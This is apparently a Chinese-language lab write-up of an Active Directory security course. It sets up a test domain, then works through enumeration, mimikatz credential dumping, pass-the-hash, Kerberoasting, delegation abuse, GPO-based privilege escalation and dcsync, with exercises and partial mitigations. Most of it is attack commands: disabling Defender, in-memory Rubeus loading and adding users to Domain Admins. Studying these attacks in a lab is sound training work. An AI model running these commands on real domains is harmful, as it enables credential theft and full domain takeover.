Active-Directory-Security-101
环境搭建
https://github.com/cfalta/adsec/tree/main/lab-setup
- DC2019-Windows 2019
- user1-Windows 2019
- user2-Windows 2019
配置域控
新增一个网卡,三个虚拟机使用这个网卡
设定指定ip
我是直接复制虚拟机,需要更改mac地址和sid。
还要更改sid
可以使用系统内置的工具sysprep或者另外一个newsid
工具https://newsid.softag.com/download
在三台机器上以管理员权限执行以下命令。
- 关闭防火墙
Set - NetFirewallProfile - Profile Domain , Public , Private - Enabled False
- 关闭Windows Defender
Uninstall - WindowsFeature - Name Windows - Defender
下载自动化脚本辅助安装
https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts
运行createdomain脚本,自行修改里面的域名称。
这里应该不能一步完成
先执行
Install - WindowsFeature - Name AD - Domain - Services - IncludeManagementTools
重启后再继续执行。
重启后执行这个文件
功能就是根据json文件去自动添加用户和组等等。
配置域内机器
在两台成员机器上使用以下两个域账号注册
John DoejohnP@ssw0rdBruce LeebleeTekkenIsAwesome!
user1这台用john认证
user2机器用blee登录
攻击机器准备
用john登录user1这台机器,当做入口点,再分配一张网卡,让他出网。
默认工具包下载地址
https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools
bloodhound安装及配置
谷歌一下
信息收集
导入powerview模块
cd C : \attacker - tools cat - raw ".\PowerView.ps1" | iex
获取当前域的基本信息和域控位置
Get - Domain Get - DomainController
查看有多少电脑和域内用户
Get - DomainComputer Get - DomainUser
过滤出域管出来
Get - DomainUser | ? { $_ . memberof - like "*Domain Admins*" } Get - DomainUser | ? { $_ . memberof - like "*Domain Admins*" } | select samaccountname
课后习题
参考答案我会放在最后面哦
- 域中有多少台计算机以及它们在什么操作系统上运行?
- 域中有多少用户?编写一个 powershell 语句进行查询,以表格形式列出所有用户,仅显示属性 samaccountname、displayname、description 和最后一次密码更改的时间。
- 您能识别出哪些自定义的管理员组?以通用方式更改上面的 powershell 查询,使其仅返回自定义管理组。
- 找到对应管理员组的成员,这些用户上一次设置密码是什么时候?
- 有快速识别出域中服务帐户的简单方法吗?编写一个 powershell 查询,列出所有服务帐户。
NTLM的利用
- mimikatz
- psexec
需要管理员权限,使用本地administrator用户登录
privilege :: debug token :: elevate lsadump :: sam
获得到管理员hash
7dfa0531d73101ca080c7379a9bff1c7
pth攻击
sekurlsa :: pth / user : Administrator / ntlm : 7dfa0531d73101ca080c7379a9bff1c7 / domain : wing . lab
psexec . exe \\user2 cmd
课后习题
- mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
- 以 Bruce Lee 的身份登录 user1。使用您在上面学到的知识帮助 john 从内存中远程提取 Bruce Lee的 NTLM 哈希。
- 如何尽可能的缓解PTH攻击,请讲清楚原因。
- 是否有可能(并且可行)完全禁用 NTLM?解释你的理由。
Kerberos-Roasting
预习资料域渗透——AS-REP Roasting
加载插件
cd C : \attacker - tools cat - raw . \PowerView . ps1 | iex cat - raw . \Invoke - Rubeus . ps1 | iex
查询SPN,获得服务用户
Get - DomainUser - SPN | select samaccountname , description , pwdlastset , serviceprincipalname
Rubeus有一个统计kerberos数据的功能
Invoke - Rubeus - Command "kerberoast /stats"
获取目标账户的TGS
Invoke - Rubeus - Command "kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt"
这里的脚本是base64之后通过powershell内存加载
function Invoke - Rubeus ([ string ] $Command ) { $Message = "base64" ; $Assembly = [ System . Reflection . Assembly ]:: Load ([ Convert ]:: FromBase64String ( $Message )) [ Rubeus . Program ]:: Main ( $Command . Split ( " " )) }
破解TGS
. \john . exe .. \. . \krb5tgs . txt -- wordlist =.. \. . \example . dict -- rules = passphrase - rule2
课后习题
- 研究如何最好地减轻 kerberoasting 攻击。描述一下您认为最好的缓解技术,并解释其原因。
- 还有一个用户会受到ASREP roasting影响,请找出来。
- 解释一下TGS vs. ASREP roasting
Kerberos (Delegation)
之前设置的时候没改json里面的数据,要把domain改了
找到委派用户
Get - DomainUser - TrustedToAuth
查看委派的目标
Get - DomainUser - TrustedToAuth | select - ExpandProperty msds - allowedtodelegateto
执行这个攻击的条件就是要知道用户的密码才行
生成hash
Invoke - Rubeus - Command "hash /password:Amsterdam2015 /domain:wing.lab /user:service1"
Rubeus允许我们在新的登录会话中启动powershell。这意味着我们伪造的票证只存在于这个登录会话中,不会干扰用户john已经存在的kerboers票证。
使用s4u请求一个TGS模拟域管理用户Bruce(bwillis)攻击user1。
我们请求3个不同服务的票证
CIFS将用于SMB访问
HOST/RPCSS用于WMI
Invoke - Rubeus - Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab /ptt" Invoke - Rubeus - Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:host/user1.wing.lab /ptt" Invoke - Rubeus - Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab /ptt"
查看缓存的票据
前面我设置错了,委派的目标应该设置成user2,user1是自己,不过意思都一样。
ls \\user1 . wing . lab\C$
通过wmi控制user1
Get - WmiObject - Class win32_process - ComputerName adsec - 01.contoso . com
课后习题
- 在上面的练习中,您通过SMB和WMI获得了对服务器user的读取权限。现在试着通过这两个协议来执行代码。目标是执行以下命令,将用户john添加到本地管理组
- 尝试模拟域管理员用户Chuck Norris而不是“Bruce Willis。有什么作用
ACL攻击
信息收集
cat - raw . \SharpHound . ps1 | iex Invoke - Bloodhound - CollectionMethod DcOnly - Stealth - PrettyJson - NoSaveCache
- CollectionMethod DcOnly表示仅从域控收集数据。从opsec的角度来看,这样比较好,因为是正常流量。
- Stealth单线程启动。速度较慢,但安全。
- PrettyJson 格式化.json文件。
- NoSaveCache 不保存缓存文件。
启动血犬
下载社区版的neo4j
https://neo4j.com/download-center/#releases
❯ jdk11 ❯ ./ neo4j start
先把service1标记为已沦陷
点击这里
这里显示用户对域控的组策略有写入权限,通过组策略利用,攻击DC
需要先以service1的身份登录
runas / user : wing . lab\service1 powershell . \SharpGPOAbuse . exe -- AddComputerTask -- TaskName "Update" -- Author contoso\adminuser -- Command "cmd.exe" -- Arguments '/c net group \"Domain Admins\" john /ADD' -- GPOName "Default Domain Controllers Policy" -- force
写入完成以后,需要等管理员更新组策略才会触发。
手工弄一下。
提权成功
成功登录到域控
课后习题
- acl攻击有哪些利用工具?
权限维持
权限维持的东西比较多
- 金银票据
- Mimikatz后门
- 等等等等
一般拿到DC权限就先执行
lsadump :: dcsync / user : krbtgt
拿到所有用户hash,也可以作为后门。
课后习题
- 自主学习这些权限维持方法的原理。
参考答案
我做的不一定对,有错误请留言。
信息收集
powerview3.0 tricks
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
- 域中有多少台计算机以及它们在什么操作系统上运行?
- 域中有多少用户?编写一个 powershell 语句进行查询,以表格形式列出所有用户,仅显示属性 samaccountname、displayname、description 和最后一次密码更改的时间。
- 您能识别出哪些自定义的管理员组?以通用方式更改上面的 powershell 查询,使其仅返回自定义管理组。
Get - DomainGroupMember - Identity "Domain Admins" - Recurse
- 找到对应管理员组的成员,这些用户上一次设置密码是什么时候?
- 有快速识别出域中服务帐户的简单方法吗?编写一个 powershell 查询,列出所有服务帐户。
Get - DomainUser - SPN | select serviceprincipalname , userprincipalname , pwdlastset , lastlogon
NTLM
猕猴桃命令大全
- mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
privilege :: debug - 提升为管理员权限 token :: elevate - 伪造令牌,获得 system 权限或发现其他用户的令牌
- 以 Bruce Lee 的身份登录 user1。使用您在上面学到的知识帮助 john 从内存中远程提取 Bruce Lee的 NTLM 哈希。
lsadump :: dcsync / domain : wing . lab / user : bruce dump 所有数据 lsadump :: dcsync / domain : wing . lab / all / csv
- 如何尽可能的缓解PTH攻击,请讲清楚原因。
- 打上补丁kb2871997并且禁用SID=500的管理员用户
- 监控日志
- 是否有可能(并且可行)完全禁用 NTLM?解释你的理由。
- 审查收到的NTLM流量:启用对所有帐户的审查
- 仅发送NTLMv2响应。拒绝LM&NTLM
第四点我不太确定。
Kerberos (Roasting)
- 研究如何最好地减轻 kerberoasting 攻击。描述一下您认为最好的缓解技术,并解释其原因。
- 禁止用户开启
DonotrequireKerberospreauthentication
- 禁止弱口令
- 还有一个用户会受到ASREP roasting影响,请找出来。
Get-DomainUser -PreauthNotRequired -Verbose
- 解释一下TGS vs. ASREP roasting
https://www.4hou.com/posts/YVyM
Kerberos (Delegation)
- 在上面的练习中,您通过SMB和WMI获得了对服务器user的读取权限。现在试着通过这两个协议来执行代码。目标是执行以下命令,将用户john添加到本地管理组:
- psexec
wmic / node : user1 process call create "cmd.exe /c net localgroup Administrators john /add"
- 尝试模拟域管理员用户Chuck Norris而不是“Bruce Willis。有什么作用?
可以攻击域控
ACL
acl攻击有哪些利用工具?
- github.com
权限维持
- 自主学习这些权限维持的原理。
